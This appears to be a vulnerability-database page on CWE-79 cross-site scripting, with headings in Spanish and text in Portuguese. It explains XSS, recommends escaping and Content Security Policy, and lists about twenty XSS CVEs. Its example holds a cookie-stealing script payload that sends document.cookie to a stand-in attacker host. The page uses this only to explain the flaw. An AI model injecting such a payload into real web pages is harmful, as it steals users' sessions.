Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-6301MEDIUMPHPGurukul Notice Board System Add Notice manage-notices.php cross site scriptingEPSS 0.3%CVE-2026-3347MEDIUMMulti Functional Flexi Lightbox <= 1.2 - Authenticated (Admin+) Stored Cross-Site Scripting via 'message' ParameterEPSS 0.3%CVE-2024-56036HIGHWordPress odPhotogallery plugin <= 0.5.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-2918MEDIUMUltimate Blocks – WordPress Blocks Plugin <= 3.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.3%CVE-2024-56033HIGHWordPress FAQs plugin <= 1.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-56761MEDIUMMemos 0.22 is vulnerable to Stored Cross site scripting (XSS) vulnerabilities by the upload attachment and user avatar features. Memos does EPSS 0.3%CVE-2024-54209HIGHWordPress Awesome Shortcodes plugin <= 1.7.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-4544MEDIUMWavlink WL-WN578W2 POST Request login.cgi cross site scriptingEPSS 0.3%CVE-2025-60183MEDIUMWordPress Silencesoft RSS Reader Plugin <= 0.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-79315MEDIUMA reflected cross-site scripting vulnerability exists in x-ui 0.3.2. The management interface reflects the raw request URI into a client-sidEPSS 0.3%CVE-2025-53941MEDIUMHollo renders posts received with form elements and allows submissionEPSS 0.3%CVE-2025-9429MEDIUMmtons mblog Post submit cross site scriptingEPSS 0.3%CVE-2025-13484MEDIUMCampcodes Complete Online Beauty Parlor Management System customer-list.php cross site scriptingEPSS 0.3%CVE-2025-11956HIGHXSS in Proliz's OBSEPSS 0.3%CVE-2025-70960MEDIUMA stored cross-site scripting (XSS) vulnerability in the Forums module of Tendenci CMS v15.3.7 allows attackers to execute arbitrary web scrEPSS 0.3%CVE-2024-56030HIGHWordPress 10CentMail plugin <= 2.1.50 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-54208HIGHWordPress Block Controller plugin <= 1.4.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-45279MEDIUMCross-Site Scripting (XSS) vulnerability in SAP NetWeaver Application Server for ABAP (CRM Blueprint Application Builder Panel)EPSS 0.3%CVE-2024-51591MEDIUMWordPress Slicko plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-30090HIGHmime.php in SquirrelMail through 1.4.23-svn-20250401 and 1.5.x through 1.5.2-svn-20250401 allows XSS via e-mail headers, because JavaScript EPSS 0.3%